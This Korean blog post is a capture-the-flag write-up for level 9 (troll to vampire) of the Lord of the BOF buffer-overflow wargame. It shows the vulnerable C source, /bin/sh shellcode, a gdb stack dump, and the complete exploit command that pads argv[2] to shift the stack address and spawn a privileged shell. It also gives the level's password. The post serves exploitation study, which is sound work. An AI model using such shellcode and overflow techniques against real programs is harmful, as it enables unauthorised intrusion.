eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • 해킹
  • 암호
  • LEVEL
  • pwnable
  • hack
  • write
  • 과정
  • attack
  • 풀이
  • hacking
  • 문제
  • buffer
  • hakcing
  • Up
  • LOB
  • 오버플로우
  • 공격
  • 패스워드
  • web
  • 문제풀이
  • 메모리
  • password
  • school
  • hacker
  • 해커
  • BOF
  • webhacking.kr
  • 설명
  • overflow
  • 스쿨

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level9: troll → vampire
0x02 Study :)/Pwnable

[LOB] Level9: troll → vampire

2018. 8. 2. 15:53

vampire

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

    // here is changed!
    if(argv[1][46] == '\xff')
    {
        printf("but it's not forever\n");
        exit(0);
    }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}


shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b

\xcd\x80

 


lret의 2번째 값이 '\xff'이면 안된다..;;


그외에는 별거 없다.


 

스택에서 버프의 위치가 0xbfff 영역에 존재하기 때문에 필터링에 걸릴 수 밖에 없다.


따라서 argv[2]의 많음 값의 데이터를 넣어서 버퍼의 주소가 0xbfff영역을 벗어나게 만들어야 한다.


Starting program: /home/troll/./aampire `python -c 'print "A"*44+"\xff\xff\xbf\xbf"'` `python -c 'print "\x90"*65000'`

Breakpoint 1, 0x80484b9 in main ()
(gdb) x/32x $esp
0xbffefcd8:	0xbffefce0	0xbffefe63	0x41414141	0x41414141
0xbffefce8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffefcf8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffefd08:	0x41414141	0xbfbfffff	0x00000000	0xbffefd54
0xbffefd18:	0xbffefd64	0x40013868	0x00000003	0x08048380
0xbffefd28:	0x00000000	0x080483a1	0x08048430	0x00000003
0xbffefd38:	0xbffefd54	0x080482e0	0x080484fc	0x4000ae60
0xbffefd48:	0xbffefd4c	0x40013e90	0x00000003	0xbffefe4d


argv[2]에 NULL값을 65000개 넣었더니 esp값이 0xbffe영역을 가리키고 있다.


 

[troll@localhost troll]$ ./vampire `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"A"*20+"\xe0\xfc\xfe\xbf"'` `python -c 'print "\x90"*65000'`
1�Ph//shh/bin��PS�ᙰ
                    ̀AAAAAAAAAAAAAAAAAAAA����
bash$ my-pass
euid = 509
music world
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)

 

vampire / music world


 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 




저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level11: skeleton → golem
    • [BOF, LOB] Level10: vampire → skeleton
    • [LOB] Level8: orge → troll
    • [LOB] 원정대란?
    eli_ez3r
    eli_ez3r

    티스토리툴바